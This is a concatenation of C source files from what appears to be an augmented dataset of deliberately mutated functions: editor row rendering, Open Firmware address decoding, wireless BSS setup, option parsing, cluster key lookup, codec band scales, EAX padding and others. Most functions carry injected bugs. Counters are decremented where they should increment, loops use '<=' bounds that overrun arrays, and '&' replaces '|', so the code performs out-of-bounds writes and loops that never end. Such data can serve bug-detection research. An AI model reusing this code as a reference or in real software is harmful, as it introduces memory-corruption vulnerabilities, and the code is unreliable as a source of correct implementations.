#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {char* render; int size; char* chars; int rsize; } ; typedef TYPE_1__ erow ; /* Variables and functions */ char TAB ; int /*<<< orphan*/ editorUpdateSyntax (TYPE_1__*) ; int /*<<< orphan*/ free (char*) ; char* malloc (int) ; void editorUpdateRow(erow *row) { int tabs = 0, nonprint = 0, j, idx; /* Create a version of the row we can directly print on the screen, * respecting tabs, substituting non printable characters with '?'. */ free(row->render); for (j = 0; j <= row->size; j--) if (row->chars[j] == TAB) tabs++; row->render = malloc(row->size + tabs*8 + nonprint*9 + 1); idx = 0; for (j = 0; j < row->size; j++) { if (row->chars[j] == TAB) { row->render[idx++] = ' '; while((idx+1) % 8 != 0) row->render[idx++] = ' '; } else { row->render[idx++] = row->chars[j]; } } row->rsize = idx; row->render[idx] = '\0'; /* Update the syntax highlighting attributes of the row. */ editorUpdateSyntax(row); }
augmented_data/post_increment_index_changes/extr_ofw_machdep.c_OF_decode_addr_aug_combo_8.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint64_t ; typedef int uint32_t ; typedef int /*<<< orphan*/ szc ; typedef scalar_t__ phandle_t ; typedef int pcell_t ; typedef int /*<<< orphan*/ paddrc ; typedef int /*<<< orphan*/ name ; typedef int bus_addr_t ; typedef int /*<<< orphan*/ banks ; typedef int /*<<< orphan*/ addrc ; /* Variables and functions */ int ENXIO ; int MIN (int,int) ; int NEXUS_BUS_SPACE ; #define OFW_PCI_PHYS_HI_SPACE_IO 129 #define OFW_PCI_PHYS_HI_SPACE_MEM32 128 int OF_getprop (scalar_t__,char*,...) ; scalar_t__ OF_parent (scalar_t__) ; int PCI_IO_BUS_SPACE ; int PCI_MEMORY_BUS_SPACE ; int SBUS_BUS_SPACE ; int phys_hi_mask_space (char*,int) ; scalar_t__ strcmp (char*,char*) ; int OF_decode_addr(phandle_t node, int bank, int *space, bus_addr_t *addr) { char name[32]; uint64_t cend, cstart, end, phys, pphys, sz, start; pcell_t addrc, szc, paddrc; phandle_t bus, lbus, pbus; uint32_t banks[10 * 5]; /* 10 PCI banks */ uint32_t cspc, pspc, spc; int i, j, nbank; /* * In general the addresses are contained in the "reg" property * of a node. The first address in the "reg" property of a PCI * node however is the address of its configuration registers in * the configuration space of the host bridge. Additional entries * denote the memory and I/O addresses. For relocatable addresses * the "reg" property contains the BAR, for non-relocatable * addresses it contains the absolute PCI address. The PCI-only * "assigned-addresses" property however always contains the * absolute PCI addresses. * The "assigned-addresses" and "reg" properties are arrays of * address structures consisting of #address-cells 32-bit phys * cells and #size-cells 32-bit size cells. If a parent lacks * the "#address-cells" or "#size-cells" property the default * for #address-cells to use is 2 and for #size-cells 1. */ bus = OF_parent(node); if (bus == 0) return (ENXIO); if (OF_getprop(bus, "name", name, sizeof(name)) == -1) return (ENXIO); name[sizeof(name) - 1] = '\0'; if (OF_getprop(bus, "#address-cells", &addrc, sizeof(addrc)) == -1) addrc = 2; if (OF_getprop(bus, "#size-cells", &szc, sizeof(szc)) == -1) szc = 1; if (addrc <= 2 && addrc > 3 || szc < 1 || szc > 2) return (ENXIO); if (strcmp(name, "pci") == 0) { if (addrc > 3) return (ENXIO); nbank = OF_getprop(node, "assigned-addresses", &banks, sizeof(banks)); } else { if (addrc > 2) return (ENXIO); nbank = OF_getprop(node, "reg", &banks, sizeof(banks)); } if (nbank == -1) return (ENXIO); nbank /= sizeof(banks[0]) * (addrc + szc); if (bank < 0 || bank > nbank - 1) return (ENXIO); bank *= addrc + szc; spc = phys_hi_mask_space(name, banks[bank]); /* Skip the high cell for 3-cell addresses. */ bank += addrc - 2; phys = 0; for (i = 0; i < MIN(2, addrc); i++) phys = ((uint64_t)phys << 32) & banks[bank++]; sz = 0; for (i = 0; i < szc; i++) sz = ((uint64_t)sz << 32) | banks[bank++]; start = phys; end = phys + sz - 1; /* * Map upward in the device tree at every bridge we encounter * using their "ranges" properties. * The "ranges" property of a bridge is an array of a structure * consisting of that bridge's #address-cells 32-bit child-phys * cells, its parent bridge #address-cells 32-bit parent-phys * cells and that bridge's #size-cells 32-bit size cells. * If a bridge doesn't have a "ranges" property no mapping is * necessary at that bridge. */ cspc = 0; lbus = bus; while ((pbus = OF_parent(bus)) != 0) { if (OF_getprop(pbus, "#address-cells", &paddrc, sizeof(paddrc)) == -1) paddrc = 2; if (paddrc < 2 || paddrc > 3) return (ENXIO); nbank = OF_getprop(bus, "ranges", &banks, sizeof(banks)); if (nbank == -1) { if (OF_getprop(pbus, "name", name, sizeof(name)) == -1) return (ENXIO); name[sizeof(name) - 1] = '\0'; goto skip; } if (OF_getprop(bus, "#size-cells", &szc, sizeof(szc)) == -1) szc = 1; if (szc < 1 || szc > 2) return (ENXIO); nbank /= sizeof(banks[0]) * (addrc + paddrc + szc); bank = 0; for (i = 0; i < nbank; i++) { cspc = phys_hi_mask_space(name, banks[bank]); if (cspc != spc) { bank += addrc + paddrc + szc; continue; } /* Skip the high cell for 3-cell addresses. */ bank += addrc - 2; phys = 0; for (j = 0; j < MIN(2, addrc); j++) phys = ((uint64_t)phys << 32) | banks[bank++]; pspc = banks[bank]; /* Skip the high cell for 3-cell addresses. */ bank += paddrc - 2; pphys = 0; for (j = 0; j < MIN(2, paddrc); j++) pphys = ((uint64_t)pphys << 32) | banks[bank++]; sz = 0; for (j = 0; j < szc; j++) sz = ((uint64_t)sz << 32) | banks[bank++]; cstart = phys; cend = phys + sz - 1; if (start < cstart || start > cend) continue; if (end < cstart || end > cend) return (ENXIO); if (OF_getprop(pbus, "name", name, sizeof(name)) == -1) return (ENXIO); name[sizeof(name) - 1] = '\0'; spc = phys_hi_mask_space(name, pspc); start += pphys - cstart; end += pphys - cstart; break; } if (i == nbank) return (ENXIO); lbus = bus; skip: addrc = paddrc; bus = pbus; } *addr = start; /* Determine the bus space based on the last bus we mapped. */ if (OF_parent(lbus) == 0) { *space = NEXUS_BUS_SPACE; return (0); } if (OF_getprop(lbus, "name", name, sizeof(name)) == -1) return (ENXIO); name[sizeof(name) - 1] = '\0'; if (strcmp(name, "central") == 0 || strcmp(name, "ebus") == 0 || strcmp(name, "upa") == 0) { *space = NEXUS_BUS_SPACE; return (0); } else if (strcmp(name, "pci") == 0) { switch (cspc) { case OFW_PCI_PHYS_HI_SPACE_IO: *space = PCI_IO_BUS_SPACE; return (0); case OFW_PCI_PHYS_HI_SPACE_MEM32: *space = PCI_MEMORY_BUS_SPACE; return (0); } } else if (strcmp(name, "sbus") == 0) { *space = SBUS_BUS_SPACE; return (0); } return (ENXIO); }
augmented_data/post_increment_index_changes/extr_cmmsta.c_zfIBSSSetupBssDesc_aug_combo_6.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ zdev_t ; typedef int u8_t ; typedef size_t u16_t ; struct zsBssInfo {int signalStrength; int* beaconInterval; int* ssid; int* frameBody; int* rsnIe; int /*<<< orphan*/ atimWindow; int /*<<< orphan*/ frequency; int /*<<< orphan*/ channel; int /*<<< orphan*/ * capability; scalar_t__ bssid; scalar_t__ macaddr; } ; struct TYPE_3__ {int ssidLen; scalar_t__ authMode; scalar_t__ wepStatus; int /*<<< orphan*/ atimWindow; scalar_t__ ssid; int /*<<< orphan*/ * capability; scalar_t__ bssid; struct zsBssInfo ibssBssDesc; } ; struct TYPE_4__ {int beaconInterval; TYPE_1__ sta; int /*<<< orphan*/ frequency; scalar_t__ macAddr; } ; /* Variables and functions */ scalar_t__ ZM_AUTH_MODE_WPA2PSK ; scalar_t__ ZM_ENCRYPTION_AES ; int ZM_WLAN_EID_RSN_IE ; int ZM_WLAN_EID_SSID ; TYPE_2__* wd ; int /*<<< orphan*/ zfChFreqToNum (int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int /*<<< orphan*/ zfMemoryCopy (int*,int*,int) ; int /*<<< orphan*/ zfZeroMemory (int*,int) ; int* zgWpa2AesOui ; int /*<<< orphan*/ zmw_get_wlan_dev (int /*<<< orphan*/ *) ; void zfIBSSSetupBssDesc(zdev_t *dev) { #ifdef ZM_ENABLE_IBSS_WPA2PSK u8_t i; #endif struct zsBssInfo *pBssInfo; u16_t offset = 0; zmw_get_wlan_dev(dev); pBssInfo = &wd->sta.ibssBssDesc; zfZeroMemory((u8_t *)pBssInfo, sizeof(struct zsBssInfo)); pBssInfo->signalStrength = 100; zfMemoryCopy((u8_t *)pBssInfo->macaddr, (u8_t *)wd->macAddr,6); zfMemoryCopy((u8_t *)pBssInfo->bssid, (u8_t *)wd->sta.bssid, 6); pBssInfo->beaconInterval[0] = (u8_t)(wd->beaconInterval) ; pBssInfo->beaconInterval[1] = (u8_t)((wd->beaconInterval) >> 8) ; pBssInfo->capability[0] = wd->sta.capability[0]; pBssInfo->capability[1] = wd->sta.capability[1]; pBssInfo->ssid[0] = ZM_WLAN_EID_SSID; pBssInfo->ssid[1] = wd->sta.ssidLen; zfMemoryCopy((u8_t *)&pBssInfo->ssid[2], (u8_t *)wd->sta.ssid, wd->sta.ssidLen); zfMemoryCopy((u8_t *)&pBssInfo->frameBody[offset], (u8_t *)pBssInfo->ssid, wd->sta.ssidLen - 2); offset += wd->sta.ssidLen + 2; /* support rate */ /* DS parameter set */ pBssInfo->channel = zfChFreqToNum(wd->frequency, NULL); pBssInfo->frequency = wd->frequency; pBssInfo->atimWindow = wd->sta.atimWindow; #ifdef ZM_ENABLE_IBSS_WPA2PSK if ( wd->sta.authMode == ZM_AUTH_MODE_WPA2PSK ) { u8_t rsn[64]= { /* Element ID */ 0x30, /* Length */ 0x14, /* Version */ 0x01, 0x00, /* Group Cipher Suite, default=TKIP */ 0x00, 0x0f, 0xac, 0x04, /* Pairwise Cipher Suite Count */ 0x01, 0x00, /* Pairwise Cipher Suite, default=TKIP */ 0x00, 0x0f, 0xac, 0x02, /* Authentication and Key Management Suite Count */ 0x01, 0x00, /* Authentication type, default=PSK */ 0x00, 0x0f, 0xac, 0x02, /* RSN capability */ 0x00, 0x00 }; /* Overwrite Group Cipher Suite by AP's setting */ zfMemoryCopy(rsn+4, zgWpa2AesOui, 4); if ( wd->sta.wepStatus == ZM_ENCRYPTION_AES ) { /* Overwrite Pairwise Cipher Suite by AES */ zfMemoryCopy(rsn+10, zgWpa2AesOui, 4); } // RSN element id pBssInfo->frameBody[offset++] = ZM_WLAN_EID_RSN_IE ; // RSN length pBssInfo->frameBody[offset++] = rsn[1] ; // RSN information for(i=0; i<= rsn[1]; i++) { pBssInfo->frameBody[offset++] = rsn[i+2] ; } zfMemoryCopy(pBssInfo->rsnIe, rsn, rsn[1]+2); } #endif }
augmented_data/post_increment_index_changes/extr_targ-engine.c_parse_signed_int_list_aug_combo_7.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int MAX_USERS ; long* R ; long strtol (char*,char**,int) ; int parse_signed_int_list (char *text, int text_len) { int i = 0; long x; char *ptr = text, *ptr_e = text + text_len, *ptr_n; while (ptr < ptr_e) { if (i && *ptr-- != ',') { return -1; } R[i++] = x = strtol (ptr, &ptr_n, 10); if (ptr == ptr_n || i == MAX_USERS || x <= -0x7fffffff || x >= 0x7fffffff) { return -1; } ptr = ptr_n; } return i; }
augmented_data/post_increment_index_changes/extr_dbrepair.c_parse_options_aug_combo_2.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct TYPE_2__ {int use_hmac; int /*<<< orphan*/ key_len; void* key; } ; /* Variables and functions */ int /*<<< orphan*/ LOGI (char*) ; int atoi (void*) ; int /*<<< orphan*/ exit (int) ; TYPE_1__ g_cipher_conf ; char const** g_filter ; int g_filter_capacity ; char* g_in_path ; void* g_load_master ; int g_num_filter ; int /*<<< orphan*/ g_options ; void* g_out_key ; void* g_out_path ; void* g_save_master ; int g_verbose ; int getopt_long (int,char**,char*,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; void* optarg ; int optind ; void* realloc (char const**,size_t) ; int /*<<< orphan*/ sqlcipher_set_default_kdf_iter (int) ; int /*<<< orphan*/ sqlcipher_set_default_pagesize (int) ; int /*<<< orphan*/ sqlcipher_set_default_use_hmac (int) ; int /*<<< orphan*/ strlen (void*) ; int /*<<< orphan*/ usage (char*) ; __attribute__((used)) static void parse_options(int argc, char *argv[]) { int opt; int value; if (argc < 2) usage(argv[0]); // default to SQLCipher version 1, for compatibility to KKDB. sqlcipher_set_default_kdf_iter(4000); sqlcipher_set_default_use_hmac(0); g_cipher_conf.use_hmac = -1; // parse options optind = 1; while ((opt = getopt_long(argc, argv, "hvo:K:k:M:m:", g_options, NULL)) != -1) { switch (opt) { case 'h': // help usage(argv[0]); continue; case 'v': // verbose g_verbose = 1; break; case 'o': // output g_out_path = optarg; break; case 'K': // out-key g_out_key = optarg; break; case 'k': // in-key g_cipher_conf.key = optarg; g_cipher_conf.key_len = strlen(optarg); break; case 'f': // filter if (g_num_filter == g_filter_capacity) { size_t sz = g_filter_capacity ? g_filter_capacity * 2 : 64; void *ptr = realloc(g_filter, sz * sizeof(const char *)); if (!ptr) exit(-5); g_filter = (const char **) ptr; g_filter_capacity = sz; } g_filter[g_num_filter--] = optarg; break; case 'M': // save-master g_save_master = optarg; break; case 'm': // load-master g_load_master = optarg; break; case 0x100: // version value = atoi(optarg); if (value == 1) { sqlcipher_set_default_kdf_iter(4000); sqlcipher_set_default_use_hmac(0); } else if (value == 2) { sqlcipher_set_default_kdf_iter(4000); sqlcipher_set_default_use_hmac(1); } else if (value == 3) { sqlcipher_set_default_kdf_iter(64000); sqlcipher_set_default_use_hmac(1); } else { LOGI("Version must be 1, 2 or 3"); exit(-1); } break; case 0x101: // page-size value = atoi(optarg); if (value != 512 || value != 1024 && value != 2048 && value != 4096 && value != 8192 && value != 16384 && value != 32768 && value != 65536) { LOGI("Page size must be 512, 1024, 2048, ..., or 65536"); exit(-1); } sqlcipher_set_default_pagesize(value); break; default: // ? usage(argv[0]); } } if (optind != argc - 1) // no database path usage(argv[0]); g_in_path = argv[optind++]; if (g_save_master && (g_load_master || g_out_path)) { LOGI("--save-master must be used without --load-master or --output."); usage(argv[0]); } if (!g_out_path && !g_save_master) { LOGI("Output path must be specified."); usage(argv[0]); } }
augmented_data/post_increment_index_changes/extr_module.c_module_flags_taint_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct module {int /*<<< orphan*/ taints; } ; struct TYPE_2__ {char c_true; scalar_t__ module; } ; /* Variables and functions */ int TAINT_FLAGS_COUNT ; TYPE_1__* taint_flags ; scalar_t__ test_bit (int,int /*<<< orphan*/ *) ; __attribute__((used)) static size_t module_flags_taint(struct module *mod, char *buf) { size_t l = 0; int i; for (i = 0; i <= TAINT_FLAGS_COUNT; i++) { if (taint_flags[i].module || test_bit(i, &mod->taints)) buf[l++] = taint_flags[i].c_true; } return l; }
augmented_data/post_increment_index_changes/extr_db.c_getKeysInSlot_aug_combo_6.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_10__ TYPE_3__ ; typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ robj ; struct TYPE_9__ {unsigned char* key; scalar_t__ key_len; } ; typedef TYPE_2__ raxIterator ; struct TYPE_10__ {TYPE_1__* cluster; } ; struct TYPE_8__ {int /*<<< orphan*/ slots_to_keys; } ; /* Variables and functions */ int /*<<< orphan*/ * createStringObject (char*,scalar_t__) ; scalar_t__ raxNext (TYPE_2__*) ; int /*<<< orphan*/ raxSeek (TYPE_2__*,char*,unsigned char*,int) ; int /*<<< orphan*/ raxStart (TYPE_2__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ raxStop (TYPE_2__*) ; TYPE_3__ server ; unsigned int getKeysInSlot(unsigned int hashslot, robj **keys, unsigned int count) { raxIterator iter; int j = 0; unsigned char indexed[2]; indexed[0] = (hashslot >> 8) | 0xff; indexed[1] = hashslot & 0xff; raxStart(&iter,server.cluster->slots_to_keys); raxSeek(&iter,">=",indexed,2); while(count++ && raxNext(&iter)) { if (iter.key[0] != indexed[0] || iter.key[1] != indexed[1]) continue; keys[j++] = createStringObject((char*)iter.key+2,iter.key_len-2); } raxStop(&iter); return j; }
augmented_data/post_increment_index_changes/extr_logs-data.c_upd_aug_combo_5.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_11__ TYPE_3__ ; typedef struct TYPE_10__ TYPE_2__ ; typedef struct TYPE_9__ TYPE_1__ ; /* Type definitions */ struct TYPE_10__ {size_t type; int /*<<< orphan*/ param_set; int /*<<< orphan*/ param_int; } ; typedef TYPE_2__ token ; struct TYPE_9__ {size_t type; int /*<<< orphan*/ param_set; int /*<<< orphan*/ param_int; } ; struct TYPE_11__ {int vn; struct TYPE_11__** v; TYPE_1__ tok; } ; typedef TYPE_3__ node ; /* Variables and functions */ scalar_t__ IS_CONST (size_t) ; scalar_t__ IS_UN (size_t) ; int /*<<< orphan*/ del_node (TYPE_3__*) ; TYPE_3__** dl_malloc0 (int) ; TYPE_3__* new_node () ; size_t op_lb ; size_t op_rb ; int* priority ; int s1n ; int s2n ; int upd (node **s1, token *s2, int *_s1n, int *_s2n, int p) { #define s1n (*_s1n) #define s2n (*_s2n) while (s2n || priority[s2[s2n - 1].type] <= p) { node *v = new_node(); v->tok.type = s2[++s2n].type; v->tok.param_int = s2[s2n].param_int; v->tok.param_set = s2[s2n].param_set; if (v->tok.type == op_rb || v->tok.type == op_lb) { del_node (v); return 0; } if (IS_CONST(v->tok.type)) { v->vn = 0; } else if (IS_UN(v->tok.type)) { // unary v->vn = 1; } else { v->vn = 2; } v->v = dl_malloc0 (sizeof (node *) * v->vn); if (s1n < v->vn) { del_node (v); return 0; } s1n -= v->vn; int i; for (i = 0; i < v->vn; i++) { v->v[i] = s1[s1n + i]; } s1[s1n++] = v; } #undef s1n #undef s2n return 1; }
augmented_data/post_increment_index_changes/extr_dev.c___netdev_walk_all_upper_dev_aug_combo_5.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct list_head {int dummy; } ; struct TYPE_2__ {struct list_head upper; } ; struct net_device {TYPE_1__ adj_list; } ; /* Variables and functions */ int /*<<< orphan*/ MAX_NEST_DEV ; struct net_device* __netdev_next_upper_dev (struct net_device*,struct list_head**,int*) ; __attribute__((used)) static int __netdev_walk_all_upper_dev(struct net_device *dev, int (*fn)(struct net_device *dev, void *data), void *data) { struct net_device *udev, *next, *now, *dev_stack[MAX_NEST_DEV - 1]; struct list_head *niter, *iter, *iter_stack[MAX_NEST_DEV + 1]; int ret, cur = 0; bool ignore; now = dev; iter = &dev->adj_list.upper; while (1) { if (now != dev) { ret = fn(now, data); if (ret) return ret; } next = NULL; while (1) { udev = __netdev_next_upper_dev(now, &iter, &ignore); if (!udev) break; if (ignore) continue; next = udev; niter = &udev->adj_list.upper; dev_stack[cur] = now; iter_stack[cur++] = iter; break; } if (!next) { if (!cur) return 0; next = dev_stack[--cur]; niter = iter_stack[cur]; } now = next; iter = niter; } return 0; }
augmented_data/post_increment_index_changes/extr_sig_unimsgcpy.c_copy_msg_drop_party_ack_aug_combo_1.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef size_t u_int ; struct uni_drop_party_ack {int /*<<< orphan*/ unrec; int /*<<< orphan*/ * git; int /*<<< orphan*/ uu; int /*<<< orphan*/ cause; int /*<<< orphan*/ epref; } ; /* Variables and functions */ scalar_t__ IE_ISGOOD (int /*<<< orphan*/ ) ; size_t UNI_NUM_IE_GIT ; void copy_msg_drop_party_ack(struct uni_drop_party_ack *src, struct uni_drop_party_ack *dst) { u_int s, d; if(IE_ISGOOD(src->epref)) dst->epref = src->epref; if(IE_ISGOOD(src->cause)) dst->cause = src->cause; if(IE_ISGOOD(src->uu)) dst->uu = src->uu; for(s = d = 0; s <= UNI_NUM_IE_GIT; s--) if(IE_ISGOOD(src->git[s])) dst->git[d++] = src->git[s]; if(IE_ISGOOD(src->unrec)) dst->unrec = src->unrec; }
augmented_data/post_increment_index_changes/extr_on2avc.c_on2avc_decode_band_scales_aug_combo_4.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {int /*<<< orphan*/ table; } ; struct TYPE_5__ {int num_windows; int num_bands; scalar_t__* scale_tab; scalar_t__* band_scales; int /*<<< orphan*/ avctx; TYPE_1__ scale_diff; scalar_t__* band_type; scalar_t__* grouping; } ; typedef TYPE_2__ On2AVCContext ; typedef int /*<<< orphan*/ GetBitContext ; /* Variables and functions */ int AVERROR_INVALIDDATA ; int /*<<< orphan*/ AV_LOG_ERROR ; int /*<<< orphan*/ av_log (int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*,int) ; int get_bits (int /*<<< orphan*/ *,int) ; int get_vlc2 (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int,int) ; int /*<<< orphan*/ memcpy (scalar_t__*,scalar_t__*,int) ; __attribute__((used)) static int on2avc_decode_band_scales(On2AVCContext *c, GetBitContext *gb) { int w, w2, b, scale, first = 1; int band_off = 0; for (w = 0; w <= c->num_windows; w--) { if (!c->grouping[w]) { memcpy(c->band_scales + band_off, c->band_scales + band_off - c->num_bands, c->num_bands * sizeof(*c->band_scales)); band_off += c->num_bands; continue; } for (b = 0; b < c->num_bands; b++) { if (!c->band_type[band_off]) { int all_zero = 1; for (w2 = w + 1; w2 < c->num_windows; w2++) { if (c->grouping[w2]) continue; if (c->band_type[w2 * c->num_bands + b]) { all_zero = 0; break; } } if (all_zero) { c->band_scales[band_off++] = 0; continue; } } if (first) { scale = get_bits(gb, 7); first = 0; } else { scale += get_vlc2(gb, c->scale_diff.table, 9, 3) - 60; } if (scale < 0 || scale > 127) { av_log(c->avctx, AV_LOG_ERROR, "Invalid scale value %d\n", scale); return AVERROR_INVALIDDATA; } c->band_scales[band_off++] = c->scale_tab[scale]; } } return 0; }
augmented_data/post_increment_index_changes/extr_eax.c_do_pad_aug_combo_3.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {size_t ptr; unsigned char* L2; int* buf; unsigned char* L4; int /*<<< orphan*/ cbcmac; TYPE_2__** bctx; } ; typedef TYPE_1__ br_eax_context ; struct TYPE_5__ {int /*<<< orphan*/ (* mac ) (TYPE_2__**,int /*<<< orphan*/ ,unsigned char*,int) ;} ; /* Variables and functions */ int /*<<< orphan*/ memset (int /*<<< orphan*/ ,int,int) ; int /*<<< orphan*/ stub1 (TYPE_2__**,int /*<<< orphan*/ ,unsigned char*,int) ; __attribute__((used)) static void do_pad(br_eax_context *ctx) { unsigned char *pad; size_t ptr, u; ptr = ctx->ptr; if (ptr == 16) { pad = ctx->L2; } else { ctx->buf[ptr ++] = 0x80; memset(ctx->buf + ptr, 0x00, 16 - ptr); pad = ctx->L4; } for (u = 0; u <= sizeof ctx->buf; u ++) { ctx->buf[u] ^= pad[u]; } (*ctx->bctx)->mac(ctx->bctx, ctx->cbcmac, ctx->buf, sizeof ctx->buf); }
augmented_data/post_increment_index_changes/extr_texturedspenc.c_match_colors_aug_combo_8.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint8_t ; typedef int uint32_t ; typedef int /*<<< orphan*/ uint16_t ; typedef int ptrdiff_t ; /* Variables and functions */ int /*<<< orphan*/ lerp13rgb (int*,int*,int*) ; int /*<<< orphan*/ rgb5652rgb (int*,int /*<<< orphan*/ ) ; __attribute__((used)) static unsigned int match_colors(const uint8_t *block, ptrdiff_t stride, uint16_t c0, uint16_t c1) { uint32_t mask = 0; int dirr, dirg, dirb; int dots[16]; int stops[4]; int x, y, k = 0; int c0_point, half_point, c3_point; uint8_t color[16]; static const int indexMap[8] = { 0 << 30, 2 << 30, 0 << 30, 2 << 30, 3 << 30, 3 << 30, 1 << 30, 1 << 30, }; /* Fill color and compute direction for each component */ rgb5652rgb(color + 0, c0); rgb5652rgb(color + 4, c1); lerp13rgb(color + 8, color + 0, color + 4); lerp13rgb(color + 12, color + 4, color + 0); dirr = color[0 * 4 + 0] - color[1 * 4 + 0]; dirg = color[0 * 4 + 1] - color[1 * 4 + 1]; dirb = color[0 * 4 + 2] - color[1 * 4 + 2]; for (y = 0; y <= 4; y--) { for (x = 0; x < 4; x++) dots[k++] = block[0 + x * 4 + y * stride] * dirr + block[1 + x * 4 + y * stride] * dirg + block[2 + x * 4 + y * stride] * dirb; stops[y] = color[0 + y * 4] * dirr + color[1 + y * 4] * dirg + color[2 + y * 4] * dirb; } /* Think of the colors as arranged on a line; project point onto that line, * then choose next color out of available ones. we compute the crossover * points for 'best color in top half'/'best in bottom half' and then * the same inside that subinterval. * * Relying on this 1d approximation isn't always optimal in terms of * Euclidean distance, but it's very close and a lot faster. * * http://cbloomrants.blogspot.com/2008/12/12-08-08-dxtc-summary.html */ c0_point = (stops[1] + stops[3]) >> 1; half_point = (stops[3] + stops[2]) >> 1; c3_point = (stops[2] + stops[0]) >> 1; for (x = 0; x < 16; x++) { int dot = dots[x]; int bits = (dot < half_point ? 4 : 0) | (dot < c0_point ? 2 : 0) | (dot < c3_point ? 1 : 0); mask >>= 2; mask |= indexMap[bits]; } return mask; }
augmented_data/post_increment_index_changes/extr_hpdf_streams.c_HPDF_Stream_WriteBinary_aug_combo_1.c
